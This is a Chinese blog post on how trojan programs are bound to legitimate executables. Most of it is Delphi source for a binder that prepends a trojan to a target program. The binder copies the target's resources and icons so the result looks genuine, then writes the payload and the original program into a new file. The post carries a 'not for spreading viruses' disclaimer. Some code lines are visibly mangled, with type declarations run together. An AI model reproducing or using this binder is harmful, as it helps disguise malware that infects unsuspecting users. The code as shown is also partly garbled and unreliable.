文件捆绑感染方式解密

最近在研究病毒木马程序的感染和捆绑方式。

  发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式

  第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马

  然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法

  这种方式有缺点也有优点

  优点是:

  可以捆绑任何程序

  缺点是:

  运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序 这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢

  实现方法:(Demo下载)

  如果不改变图标,实现方法是非常简单的。

  用文件流的方式 把目标程序写在木马程序后面

  这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错

  (目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标 这种方法读取出来的图标

  和原程序的图标是有差别的。 就是颜色会浅一点, 让人一看就知道程序可能被捆绑过了)

  请勿用于病毒传播,这里只贴出核心代码

  【全文】

  function Align(Size, AlignBase: integer): Integer;

  begin

  if Size mod AlignBase <> 0 then

  Result := (Trunc(Size / AlignBase) + 1) * AlignBase

  else

  Result := Size;

  end;

  procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);

  var

  I:integer;

  DosHeader: TImageDosHeader;

  NTHeader: TImageNtHeaders; {NtHeader}

  dRead: DWORD;

  begin

  SetFilePointer(AFHandle, 0, nil, FILE_BEGIN);

  ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);

  //非PE 退出

  if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;

  SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);

  ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);

  //非PE 退出

  if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;

  SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);

  for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do

  begin

  ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);

  if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then

  begin

  SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);

  SetLength(AStream, ASectionHeader.SizeOfRawData);

  ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);

  Exit;

  end;

  end;

  end;

  function StripHighBit(L: Longint): DWORD;

  begin

  Result := L and $7FFFFFFF;

  end;

  function HighBitSet(L: Longint): Boolean;

  begin

  Result := (L and $80000000) <> 0;

  end;

  function IsDirectory(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;

  begin

  Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +

  BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);

  end;

  function ResourceDataEntry(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD)ImageResourceDataEntry;

  begin

  Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +

  BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);

  end;

  function FixRsrc(ResourceDirectoryImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean;

  var

  I: Integer;

  ResourceDirectoryEntryImageResourceDirectoryEntry;

  Data: PImageResourceDataEntry;

  begin

  Result := True;

  ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)

  + SizeOf(TImageResourceDirectory));

  for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do

  begin

  if IsDirectory(ResourceDirectoryEntry, BaseEntry) then

  begin

  {目录递归调用,把下级的资源列出来}

  FixRsrc(PImageResourceDirectory(StripHighBit(

  ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),

  BaseEntry, OldVA, NewVA);

  end

  else

  begin

  {资源}

  Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);

  //修正RVA

  Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA;

  end;

  inc(ResourceDirectoryEntry);

  end;

  end;

  function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;

  var

  F,F1,F2: THandle;
dRead: DWORD;

  fsDes, fsSrc, len, i, lastPos, oldSize: integer;

  pRsrc,LoadStream: PStream;

  DosHeader: PImageDosHeader;

  NTHeader: PImageNtHeaders; {NtHeader}

  pSH,pSectionHeader: PImageSectionHeader;

  SectionHeader: TImageSectionHeader;

  Section: PSections;

  fectStream : TResourceStream;

  begin

  Result := ’’;

  pRsrc := nil;

  //打开需要感染的目标文件

  F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);

  try

  if F = INVALID_HANDLE_VALUE then

  begin

  Result := ’打开目标文件失败!’;

  Exit;

  end;

  //获取目标程序的资源文件

  GetRsrcStream(F, pRsrc, SectionHeader);

  //如果没有资源文件则退出

  if pRsrc = nil then

  begin

  Result := ’读取目标文件资源失败!’;

  Exit;

  end;

  //读取附加程序流

  fectStream := TResourceStream.Create(HInstance,’exe’,’exetype’);

  try

  fsSrc := fectStream.Size;

  SetLength(LoadStream, fectStream.Size);

  fectStream.ReadBuffer(LoadStream[0], fectStream.Size);

  finally

  fectStream.Free;

  end;

  DosHeader := PImageDosHeader(LoadStream);

  NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]);

  pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeader

  Inc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项

  for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 do

  begin

  //比较是否是指定的节名,如“.rsrc”

  if Strlicomp(@pSectionHeader^.Name, PChar(’.rsrc’), IMAGE_SIZEOF_SHORT_NAME) = 0 then

  begin

  oldSize := pSectionHeader^.SizeOfRawData;

  //修正资源大小

  pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData;

  pSectionHeader^.Misc := SectionHeader.Misc;

  break; //找到了,则退出

  end;

  Inc(pSectionHeader); //取节表下一项,即当前地址加上Sizeof(TImageSectionHeader)

  end;

  //修复资源

  if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc),

  SectionHeader.VirtualAddress,

  pSectionHeader^.VirtualAddress) then Exit;

  NTHeader^.OptionalHeader.DataDirectory[2].Size := SectionHeader.Misc.VirtualSize;

  NTHeader^.OptionalHeader.SizeOfImage :=

  + Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.OptionalHeader.SectionAlignment);

  F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);

  try

  if F1 = INVALID_HANDLE_VALUE then

  begin

  Result := ’创建新文件失败!’;

  Exit;

  end;

  F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);

  try

  if F2 = INVALID_HANDLE_VALUE then

  begin

  Result := ’读取目标文件失败!’;

  Exit;

  end;

  fsDes := GetFileSize(F, nil);

  Section := PSections(@LoadStream[$70]);

  Section^.GUID := $58585858;

  Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize);

  fsSrc := GetFileSize(F2, nil);

  Section^.FirstSize := fsSrc;

  Section^.LastOffset := Section^.FirstOffset + fsSrc;

  Section^.LastSize := fsDes;

  //写入头部文件

  WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil);

  WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil);

  repeat

  ReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil);

  WriteFile(F1, LoadStream[0], dRead, dRead, nil);

  until dRead = 0;

  SetFilePointer(F, 0, nil, FILE_BEGIN);

  repeat

  ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil);

  WriteFile(F1, LoadStream[0], dRead, dRead, nil);

  until dRead = 0;

  finally

  CloseHandle(F2);

  end;

  finally

  CloseHandle(F1);

  end;

finally

  CloseHandle(F);

  SetLength(LoadStream, 0);

  SetLength(pRsrc, 0);

  end;

  end;

  第二程度方式 就是将代码内嵌到目标程序。

  也同样有缺点优点

  优点是

  首先运行的是目标程序。然后再运行木马程序,让人根本无法察觉

  缺点是

  只能感染部分程序
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值